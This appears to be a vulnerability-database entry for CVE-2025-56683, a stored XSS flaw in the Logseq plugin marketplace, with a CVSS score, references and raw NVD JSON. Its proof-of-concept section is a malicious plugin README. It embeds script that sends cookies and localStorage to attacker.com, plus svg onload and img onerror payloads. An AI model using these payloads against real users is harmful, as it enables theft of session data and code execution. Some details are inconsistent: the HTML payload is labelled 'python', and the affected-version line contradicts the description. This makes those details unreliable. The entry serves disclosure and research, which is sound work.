CVE-2025-56683

Description

A cross-site scripting (XSS) vulnerability in the component /app/marketplace.html of Logseq v0.10.9 allows attackers to execute arbitrary code via injecting arbitrary Javascript into a crafted README.md file.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Logseq < 0.10.9（修复提交4cdf49aedd8de073015b6945a529399c3bfa109a之后的版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-56683 PoC: XSS via crafted README.md in Logseq marketplace -->
<!-- Save the following content as README.md in a malicious Logseq plugin/theme -->

# Malicious Plugin

<script>
  // Arbitrary JavaScript code execution in Logseq context
  // This demonstrates the XSS vulnerability in /app/marketplace.html
  
  // Example 1: Data exfiltration
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      localStorage: JSON.stringify(localStorage),
      url: window.location.href
    })
  });
  
  // Example 2: Execute commands via Logseq API (if available)
  if (window.logseq) {
    logseq.App.showMsg('XSS triggered via CVE-2025-56683');
  }
</script>

<img src=x onerror="alert('XSS via CVE-2025-56683')">

<svg onload="fetch('https://attacker.com/log?data='+document.cookie)">

# Normal plugin description continues here...

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-56683
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-56683
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-56683/
[4] VulDB https://vuldb.com/cve/CVE-2025-56683
[5] https://github.com/logseq/logseq
[6] https://github.com/logseq/logseq/commit/4cdf49aedd8de073015b6945a529399c3bfa109a#diff-25789e3ba4c2adf4a68996260eb693a441b4a834c38b76167a120f0b51b969f7R72-R74
[7] https://github.com/martinkubecka/Attributed-CVEs/blob/main/unresolved-vulnerabilities/logseq_xss_to_rce.md
[8] https://martinkubecka.sk/security-advisories/cve-2025-56683/
[9] https://martinkubecka.sk/security-advisories/cve-2025-56683/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-56683", "sourceIdentifier": "[email protected]", "published": "2025-10-09T15:16:07.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in the component /app/marketplace.html of Logseq v0.10.9 allows attackers to execute arbitrary code via injecting arbitrary Javascript into a crafted README.md file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/logseq/logseq", "source": "[email protected]"}, {"url": "https://github.com/logseq/logseq/commit/4cdf49aedd8de073015b6945a529399c3bfa109a#diff-25789e3ba4c2adf4a68996260eb693a441b4a834c38b76167a120f0b51b969f7R72-R74", "source": "[email protected]"}, {"url": "https://github.com/martinkubecka/Attributed-CVEs/blob/main/unresolved-vulnerabilities/logseq_xss_to_rce.md", "source": "[email protected]"}, {"url": "https://martinkubecka.sk/security-advisories/cve-2025-56683/", "source": "[email protected]"}, {"url": "https://martinkubecka.sk/security-advisories/cve-2025-56683/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}